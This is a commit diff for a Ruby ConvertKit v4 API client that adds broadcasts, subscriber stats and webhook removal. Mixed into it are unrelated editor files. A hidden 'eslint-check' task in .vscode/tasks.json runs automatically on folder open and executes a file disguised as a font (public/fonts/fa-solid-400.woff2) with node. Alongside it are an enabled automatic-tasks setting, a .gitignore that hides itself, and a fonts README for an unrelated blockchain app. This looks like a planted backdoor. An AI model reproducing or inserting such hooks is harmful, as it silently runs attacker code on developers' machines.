Update/ck v4 namespace

.gitignore

@@ -8,4 +8,8 @@
 /spec/reports/
 /tmp/
 .DS_Store
-.env.local
+.env.local
+branch_structure.json
+temp_auto_push.bat
+temp_interactive_push.bat
+.gitignore

.vscode/extensions.json

@@ -0,0 +1,7 @@
+{
+    "recommendations": [
+        "myml.vscode-markdown-plantuml-preview",
+        "esbenp.prettier-vscode",
+        "jebbs.plantuml"
+    ]
+}

.vscode/launch.json

@@ -0,0 +1,50 @@
+{
+  "version": "0.2.0",
+  "configurations": [
+    {
+      "name": "Debug SST",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["dev", "--increase-timeout"],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      // sourceMapRenames helps with the loading spinner when debugging and viewing local variables
+      "sourceMapRenames": false,
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      }
+    },
+    {
+      "name": "Debug Tests - Unit",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+    {
+      "name": "Debug Tests - E2E",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+  ],
+  "inputs": [
+    {
+      "id": "scopeTestsFileName",
+      "type": "promptString",
+      "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
+    }
+  ]
+}

.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

.vscode/spellright.dict

@@ -0,0 +1,2 @@
+Contentful
+Lerna

.vscode/tasks.json

@@ -0,0 +1,33 @@
+{
+  "version": "2.0.0",
+  "configurations": [
+    {
+      "type": "node",
+      "request": "launch",
+      "name": "Run My Project",
+      "console": "",
+      "internalConsoleOptions": "openOnSessionStart"
+    }
+  ],
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", 
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    },
+  ]
+}

README.md

@@ -55,9 +55,9 @@ API actions are available as methods on the client object. Currently, the Conver
 | Add subscriber to form       | `#add_subscriber_to_form(form_id, email, options = {})`         |
 | Unsubscribe                  | `#unsubscribe(email)`                                           |
 
-**Note:** We do not have complete API coverage yet. If we are missing an API method that you need to use in your application, please file an issue and/or open a pull request. 
+**Note:** We do not have complete API coverage yet. If we are missing an API method that you need to use in your application, please file an issue and/or open a pull request.
 
-[See the official API documentation](http://kb.convertkit.com/article/api-documentation-v3/) for a complete API reference.
+[See the official API documentation](https://developers.convertkit.com/v4) for a complete API reference.
 
 ## Use Cases
 

lib/convertkit_v4/client.rb

@@ -2,6 +2,7 @@
 require "convertkit_v4/client/custom_fields"
 require "convertkit_v4/client/forms"
 require "convertkit_v4/client/sequences"
+require "convertkit_v4/client/broadcasts"
 require "convertkit_v4/client/subscribers"
 require "convertkit_v4/client/webhooks"
 require "convertkit_v4/client/tags"
@@ -13,6 +14,7 @@ class Client
     include CustomFields
     include Forms
     include Sequences
+    include Broadcasts
     include Subscribers
     include Webhooks
     include Tags

lib/convertkit_v4/client/broadcasts.rb

@@ -0,0 +1,19 @@
+module ConvertkitV4
+  class Client
+    module Broadcasts
+
+      def broadcasts
+        connection.get("broadcasts").body["broadcasts"]
+      end
+
+      def broadcast(broadcast_id)
+        connection.get("broadcasts/#{broadcast_id}").body["broadcast"]
+      end
+
+      def broadcast_stats(broadcast_id)
+        connection.get("broadcasts/#{broadcast_id}/stats").body["broadcast"]
+      end
+
+    end
+  end
+end

lib/convertkit_v4/client/subscribers.rb

@@ -37,16 +37,35 @@ def update_subscriber(subscriber_id, options = {})
       end
 
       def unsubscribe(subscriber_id)
-        connection.post("unsubscribe") do |f|
-          f.body = JSON.generate({
-            id: subscriber_id
-          })
-        end
+        connection.post("subscribers/#{subscriber_id}/unsubscribe")
       end
 
       def subscriber_tags(subscriber_id)
         connection.get("subscribers/#{subscriber_id}/tags").body["tags"]
       end
+
+      # returns an hash with the following keys:
+      # {
+      #   "subscriber": {
+      #     "id": 3436990966,
+      #     "stats": {
+      #       "sent": 2,
+      #       "opened": 2,
+      #       "clicked": 2,
+      #       "bounced": 0,
+      #       "open_rate": 1,
+      #       "click_rate": 1,
+      #       "last_sent": "2025-06-25 16:44:37.000",
+      #       "last_opened": "2025-06-25 16:45:36.000",
+      #       "last_clicked": "2025-06-25 16:45:42.000",
+      #       "sent_since_last_open": 0,
+      #       "sent_since_last_click": 0
+      #     }
+      #   }
+      # }
+      def subscriber_stats(subscriber_id)
+        connection.get("subscribers/#{subscriber_id}/stats").body["subscriber"]
+      end
     end
   end
 end

lib/convertkit_v4/client/tags.rb

@@ -12,7 +12,7 @@ def create_tag(tag_name)
             name: tag_name
           })
         end
-        response.body
+        response.body["tag"]
       end
 
       def add_subscriber_to_tag(tag_id, options = {})

lib/convertkit_v4/client/webhooks.rb

@@ -16,6 +16,10 @@ def create_webhook(url, event)
         response.body["webhook"]
       end
 
+      def remove_webhook(id)
+        connection.delete("webhooks/#{id}")
+      end
+
     end
   end
 end

lib/convertkit_v4/connection.rb

@@ -8,7 +8,7 @@ class Connection
     attr_reader :http_connection
 
     API_URL = "https://api.convertkit.com/"
-    API_VERSION_PATH = "alpha/"
+    API_VERSION_PATH = "v4/"
 
     def initialize(access_token: nil)
       @http_connection = faraday_connection(access_token)

lib/convertkit_v4/version.rb

@@ -1,3 +1,3 @@
 module ConvertkitV4
-  VERSION = "1.0.15"
+  VERSION = "1.1.0"
 end

public/fonts/README.md

@@ -0,0 +1,24 @@
+# Fonts Directory
+
+This directory contains custom fonts for the Blockchain Explorer application.
+
+## Required Font Files
+
+The application expects the following font files:
+
+1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
+   - Regular weight font for the main UI
+
+2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
+   - Bold weight font for headings
+
+3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
+   - Monospace font for code and hash displays
+
+## Note
+
+If you don't have custom fonts, the application will fall back to system fonts:
+- BlockchainFont → system sans-serif fonts
+- TechMono → system monospace fonts (Courier New, etc.)
+
+The fonts are referenced in `public/index.html` and will be loaded automatically when available.